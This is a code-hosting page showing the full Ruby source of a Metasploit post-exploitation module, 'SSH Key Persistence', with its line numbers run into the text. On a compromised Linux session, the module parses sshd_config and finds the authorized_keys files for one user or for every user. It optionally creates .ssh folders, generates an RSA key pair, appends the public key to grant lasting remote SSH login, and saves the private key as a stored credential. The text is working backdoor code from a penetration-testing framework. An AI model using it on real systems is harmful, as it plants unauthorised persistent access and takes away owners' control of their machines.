Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/manage/sshkey_persistence.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'sshkey'67class MetasploitModule < Msf::Post8Rank = ExcellentRanking910include Msf::Post::File11include Msf::Post::Unix1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'SSH Key Persistence',18'Description' => %q{19This module will add an SSH key to a specified user (or all), to allow20remote login via SSH at any time.21},22'License' => MSF_LICENSE,23'Author' => [24'h00die <[email protected]>'25],26'Platform' => [ 'linux' ],27'SessionTypes' => [ 'meterpreter', 'shell' ],28'Compat' => {29'Meterpreter' => {30'Commands' => %w[31stdapi_fs_separator32]33}34}35)36)3738register_options(39[40OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),41OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),42OptString.new('SSHD_CONFIG', [true, 'sshd_config file', '/etc/ssh/sshd_config' ]),43OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])44], self.class45)46end4748def run49if session.type == 'meterpreter'50sep = session.fs.file.separator51else52# Guess, but it's probably right53sep = '/'54end55print_status('Checking SSH Permissions')56sshd_config = read_file(datastore['SSHD_CONFIG'])57/^PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config58if pub_key && pub_key == 'no'59print_error('Pubkey Authentication disabled')60elsif pub_key61vprint_good("Pubkey set to #{pub_key}")62end63%r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config64if auth_key_file65auth_key_file = auth_key_file.gsub('%h', '')66auth_key_file = auth_key_file.gsub('%%', '%')67if auth_key_file.start_with? '/'68auth_key_file = auth_key_file[1..]69end70else71auth_key_file = '.ssh/authorized_keys'72end73print_status("Authorized Keys File: #{auth_key_file}")7475auth_key_folder = auth_key_file.split('/')[0...-1].join('/')76auth_key_file = auth_key_file.split('/')[-1]77if datastore['USERNAME'].nil?78print_status("Finding #{auth_key_folder} directories")79paths = enum_user_directories.map { |d| d + "/#{auth_key_folder}" }80else81if datastore['USERNAME'] == 'root'82paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]83else84paths = ["/home/#{datastore['USERNAME']}/#{auth_key_folder}"]85end86vprint_status("Added User SSH Path: #{paths.first}")87end8889if datastore['CREATESSHFOLDER'] == true90vprint_status("Attempting to create ssh folders that don't exist")91paths.each do |p|92unless directory?(p)93print_status("Creating #{p} folder")94cmd_exec("mkdir -m 700 -p #{p}")95end96end97end9899paths = paths.select { |d| directory?(d) }100if paths.nil? || paths.empty?101print_error("No users found with a #{auth_key_folder} directory")102return103end104write_key(paths, auth_key_file, sep)105end106107def write_key(paths, auth_key_file, sep)108if datastore['PUBKEY'].nil?109key = SSHKey.generate110our_pub_key = key.ssh_public_key111loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')112print_good("Storing new private key as #{loot_path}")113else114our_pub_key = ::File.read(datastore['PUBKEY'])115end116paths.each do |path|117path.chomp!118authorized_keys = "#{path}/#{auth_key_file}"119print_status("Adding key to #{authorized_keys}")120append_file(authorized_keys, "\n#{our_pub_key}")121print_good('Key Added')122next unless datastore['PUBKEY'].nil?123124path_array = path.split(sep)125path_array.pop126user = path_array.pop127credential_data = {128origin_type: :session,129session_id: session_db_id,130post_reference_name: refname,131private_type: :ssh_key,132private_data: key.private_key.to_s,133username: user,134workspace_id: myworkspace_id135}136137create_credential(credential_data)138end139end140end141142143